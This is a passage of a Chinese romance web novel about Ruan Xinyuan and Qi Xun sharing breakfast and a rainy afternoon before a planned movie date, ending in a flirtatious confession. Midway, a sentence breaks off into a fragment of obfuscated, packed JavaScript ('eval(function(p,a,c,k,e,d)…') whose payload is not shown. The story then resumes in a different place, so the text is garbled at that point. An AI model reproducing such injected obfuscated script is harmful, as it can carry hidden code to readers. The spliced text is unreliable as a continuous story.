“我还以为寻哥你早饭不吃中餐。”他在餐桌边坐下,眼含期待。 戚寻不动声色地扫过阮新元短裤下笔直修长的小腿,递过来一瓶醋和一小罐辣椒,“当然不会,总吃一种也会腻,馄饨是找人现包送来的。” 馄饨香气扑鼻,阮新元加了两大勺醋和一小勺辣椒,废话不多说,很快捞起一颗胖嘟嘟的馄饨,吹了吹吃起来。 一碗馄饨被消灭得很快。 “电影定的下午一点半,我待会儿复习一下英语。”阮新元擦擦嘴。 戚寻慢条斯理地吃着,一个馄饨咀嚼好几口,好像对碗里香气四溢的东西不怎么感兴趣,“嗯,好。” 早餐过后两个人各占一地,戚寻还是去书房工作,阮新元则盘腿坐在了客厅,拿出之前买的四级资料开始复习。 一学习时间就溜得飞快,让阮新元从题目中抽离的,是耳边毫无征兆响起的闷雷。 清晨还是阳光明媚,几个小时过后天突转变阴,真是不凑巧的。 阮新元望着落地窗外的乌云沉默了几秒,戳开天气预报。 很好,很紧跟时事,已经开始显示下雨了。 但你这APP不是预报吗? 明明昨天他还确认过,今天不会下雨呢。 阮新元握着笔,面带犹豫地往书房的方向看了一眼,暗自祈祷不要下大。 他稳了稳心神,开始接着做题。 刚做完一篇阅读理解,还没过十五分钟,耳边奏唱起了狂风刮过玻璃的声响,伴随着雷声,一时令人有些心惊肉跳。 阮新元再次看向窗外,豆大的雨珠目的性极强地砸在窗面上,隔着玻璃让他感觉到了一丝钝痛。 “咔哒——” 开门声和脚步声被隐匿在磅礴的雨声里,有人悄无声息地走到了自己身边。 阮新元放下笔换了个姿势,身前落下一片阴影,他顺着面前人脚踝往上看,和戚寻对视。 “雨下得好大……好像不会停。”他把脸贴到了练习册纸面上,囔囔了两声。 戚寻从俯视对方到蹲下平视,又揉了揉他的头发,“那我们下午还出去吗?” 阮新元没说话,他直起身看向灰蒙蒙的天,窗外以往清晰可见的高楼大厦都被浸泡在了雨里,像被煮沸的豆腐,在他眼前晃荡着将倾。 他不喜欢雨天,更不喜欢在倾盆大雨的天气出门,讨厌被沾湿裤脚的感受,除非是万不得已的情况下。 但这次是他说要追戚寻之后第一次提出正式约会,如果就这样取消了……会不会让戚寻觉得不舒服呢。 那他追人的难度岂不是不减反增? 阮新元眉头微皱,表情变得有些严肃,眼里流露出一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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戚寻贴近,和他一起坐到了地毯上,他的语调轻缓,温柔的力量无形对抗着急促的骤雨,“不会,因为我想这样代表,你每次见到我的时候,都心情很好吧。” 阮新元脸上一下子出现酒窝,反应过来后,他又装模作样地撇嘴,“怎么不猜因为我衣柜里鲜艳的衣服不多……” “你好可爱。”戚寻深邃的眼里只装得下一个阮新元。 阮新元被盯的有些手足无措,胡乱抓着地毯上的毛,他无端地想起早上旖旎的事情,伴随着此刻微妙的情绪,让他变得古怪起来。 于是他混沌的脑海好像又被什么天命控制住了。 “求生的欲望”又在作祟,阮新元看着戚寻英俊的脸咽了咽口水。 “你现在在想什么?”戚寻的声音虽轻如一片飘落下的柳叶,但他眼底蕴藏的东西深不见底。 雨一直在下,被戳破秘密的阮新元在这样又喧闹又静谧的环境里生出更多勇气。 他大着胆子伸出双手,在戚寻错愕的目光下搂住对方的脖子,凑到人的耳边,小声地说着让人面红耳赤的话。 “我想……亲你,好不好,老公?”